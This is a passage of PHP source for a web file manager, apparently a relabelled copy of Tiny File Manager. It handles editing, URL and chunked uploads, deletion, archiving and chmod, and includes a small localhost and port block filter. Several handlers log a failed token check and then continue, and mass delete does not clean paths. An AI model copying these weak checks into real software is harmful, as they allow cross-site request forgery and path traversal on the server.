                            <a href="https://tinyfilemanager.github.io/" target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

    <?php
        fm_show_footer_login();
        exit;
    }
}

// update root path
if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path;
}

// clean and check $root_path
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>" . lng('Root path') . " \"{$root_path}\" " . lng('not found!') . " </h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');

// always use ?p=
if (!isset($_GET['p']) && empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);

// for ajax request - save
$input = file_get_contents('php://input');
$_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);

/*************************** ACTIONS ***************************/

// Handle all AJAX Request
if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) {
    if (!verifyToken($_POST['token'])) {
        header('HTTP/1.0 401 Unauthorized');
        die("Invalid Token.");
    }

    //search : get list of files from the current folder
    if (isset($_POST['type']) && $_POST['type'] == "search") {
        $dir = $_POST['path'] == "." ? '' : $_POST['path'];
        $response = scan(fm_clean_path($dir), $_POST['content']);
        echo json_encode($response);
        exit();
    }

    // save editor file
    if (isset($_POST['type']) && $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg(lng('File not found'), 'error');
            $FM_PATH = FM_PATH;
            fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;

        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false) {
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    // backup files
    if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
        $fileName = fm_clean_path($_POST['file']);
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) && $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if (isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

        function event_callback($message)
        {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path()
        {
            global $path, $fileinfo, $temp_file;
            return $path . "/" . basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;

        //prevent 127.* domain and known ports
        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if (!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, strtok(get_file_path(), '?'));
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit();
}

// Delete file / folder
if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) {
    $del = str_replace('/', '', fm_clean_path($_GET['del']));
    if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder') . ' <b>%s</b> ' . lng('Deleted') : lng('File') . ' <b>%s</b> ' . lng('Deleted');
            fm_set_msg(sprintf($msg, fm_enc($del)));
        } else {
            $msg = $is_dir ? lng('Folder') . ' <b>%s</b> ' . lng('not deleted') : lng('File') . ' <b>%s</b> ' . lng('not deleted');
            fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) {
    $type = urldecode($_POST['newfile']);
    $new = str_replace('/', '', fm_clean_path(strip_tags($_POST['newfilename'])));
    if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($type == "file") {
            if (!file_exists($path . '/' . $new)) {
                if (fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File') . ' <b>%s</b> ' . lng('Created'), fm_enc($new)));
                } else {
                    fm_set_msg(lng('File extension is not allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File') . ' <b>%s</b> ' . lng('already exists'), fm_enc($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('already exists'), fm_enc($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('not created'), fm_enc($new)), 'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
    // from
    $copy = urldecode($_GET['copy']);
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    // abs path from
    $from = FM_ROOT_PATH . '/' . $copy;
    // abs path to
    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);
    // move?
    $move = isset($_GET['move']);
    $move = fm_clean_path(urldecode($move));
    // copy/move/duplicate
    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) { // Move and to != from so just perform move
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already exists'), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Error while moving from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        } else { // Not move and to != from so copy with original name
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } else {
                fm_set_msg(sprintf(lng('Error while copying from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        }
    } else {
        if (!$move) { //Not move and to = from so duplicate
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if (!is_dir($from)) {
                $extension_suffix = '.' . $fn_parts['extension'];
            }
            //Create new name for duplicate
            $fn_duplicate = $fn_parts['dirname'] . '/' . $fn_parts['filename'] . '-' . date('YmdHis') . $extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            // Check if a file with the duplicate name already exists, if so, make new name (edge case...)
            while (file_exists($fn_duplicate) & $loop_count < $max_loop) {
                $fn_parts = pathinfo($fn_duplicate);
                $fn_duplicate = $fn_parts['dirname'] . '/' . $fn_parts['filename'] . '-copy' . $extension_suffix;
                $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
            }
        } else {
            fm_set_msg(lng('Paths must be not equal'), 'alert');
        }
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng('Invalid Token.'), 'error');
    }

    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'), 'alert');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            $FM_PATH = FM_PATH;
            fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $f = fm_clean_path($f);
                // abs path from
                $from = $path . '/' . $f;
                // abs path to
                $dest = $copy_to_path . '/' . $f;
                // do
                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) {
    if (!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }
    // old name
    $old = urldecode($_POST['rename_from']);
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = urldecode($_POST['rename_to']);
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) && $old != '' && $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf(lng('Renamed from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($old), fm_enc($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($old), fm_enc($new)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid characters in file name'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Download
if (isset($_GET['dl'], $_POST['token'])) {
    // Verify the token to ensure it's valid
    if (!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
        exit;
    }

    // Clean the download file path
    $dl = urldecode($_GET['dl']);
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl); // Prevent directory traversal attacks

    // Define the file path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    // Check if the file exists and is valid
    if ($dl != '' && is_file($path . '/' . $dl)) {
        // Close the session to prevent session locking
        if (session_status() === PHP_SESSION_ACTIVE) {
            session_write_close();
        }

        // Call the download function
        fm_download_file($path . '/' . $dl, $dl, 1024); // Download with a buffer size of 1024 bytes
        exit;
    } else {
        // Handle the case where the file is not found
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
}

// Upload
if (!empty($_FILES) && !FM_READONLY) {
    if (isset($_POST['token'])) {
        if (!verifyToken($_POST['token'])) {
            $response = array('status' => 'error', 'info' => "Invalid Token.");
            echo json_encode($response);
            exit();
        }
    } else {
        $response = array('status' => 'error', 'info' => "Token Missing.");
        echo json_encode($response);
        exit();
    }

    $chunkIndex = $_POST['dzchunkindex'];
    $chunkTotal = $_POST['dztotalchunkcount'];
    $fullPathInput = fm_clean_path($_REQUEST['fullpath']);

    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array(
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if (!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) {
        $response = array(
            'status'    => 'error',
            'info'      => "Invalid File name!",
        );
        echo json_encode($response);
        exit();
    }

    $targetPath = $path . $ds;
    if (is_writable($targetPath)) {
        $fullPath = $path . '/' . $fullPathInput;
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }

        if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
            if ($chunkTotal) {
                $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
                if ($out) {
                    $in = @fopen($tmp_name, "rb");
                    if ($in) {
                        if (PHP_VERSION_ID < 80009) {
                            // workaround https://bugs.php.net/bug.php?id=81145
                            do {
                                for (;;) {
                                    $buff = fread($in, 4096);
                                    if ($buff === false || $buff === '') {
                                        break;
                                    }
                                    fwrite($out, $buff);
                                }
                            } while (!feof($in));
                        } else {
                            stream_copy_to_stream($in, $out);
                        }
                        $response = array(
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array(
                            'status'    => 'error',
                            'info' => "failed to open output stream",
                            'errorDetails' => error_get_last()
                        );
                    }
                    @fclose($in);
                    @fclose($out);
                    @unlink($tmp_name);

                    $response = array(
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array(
                        'status'    => 'error',
                        'info' => "failed to open output stream"
                    );
                }

                if ($chunkIndex == $chunkTotal - 1) {
                    if (file_exists($fullPath)) {
                        $ext_1 = $ext ? '.' . $ext : '';
                        $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) . '_' . date('ymdHis') . $ext_1;
                    } else {
                        $fullPathTarget = $fullPath;
                    }
                    rename("{$fullPath}.part", $fullPathTarget);
                }
            } else if (move_uploaded_file($tmp_name, $fullPath)) {
                // Be sure that the file has been uploaded
                if (file_exists($fullPath)) {
                    $response = array(
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array(
                        'status' => 'error',
                        'info'   => 'Couldn\'t upload the requested file.'
                    );
                }
            } else {
                $response = array(
                    'status'    => 'error',
                    'info'      => "Error while uploading files. Uploaded files $uploads",
                );
            }
        }
    } else {
        $response = array(
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}

// Mass deleting
if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Pack files zip, tar
if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';

    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $files = $_POST['file'];
    $sanitized_files = array();

    // clean path
    foreach ($files as $file) {
        array_push($sanitized_files, fm_clean_path($file));
    }

    $files = $sanitized_files;

    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.' . $ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.' . $ext;
        }

        if ($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive') . ' <b>%s</b> ' . lng('Created'), fm_enc($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $unzip = urldecode($_POST['unzip']);
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' && is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }

    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_POST['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if ($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path, null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {
                //TODO:: need to handle the error
                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'), 'error');
        }
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Change Perms (not for Windows)
if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'), 'error');
    }

    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

/*************************** ACTIONS ***************************/

// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

// check path
if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get parent folder
$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/", $path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path, $path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) && fm_is_exclude_items($file, $new_path)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file, $new_path)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    //get the allowed file extensions
    function getUploadExt()
    {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if (FM_UPLOAD_EXTENSION && $extArr) {
            array_walk($extArr, function (&$x) {
                $x = ".$x";
            });
            return implode(',', $extArr);
        }
        return '';
    }
    ?>
    <?php print_external('css-dropzone'); ?>
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper" data-bs-theme="<?php echo FM_THEME; ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
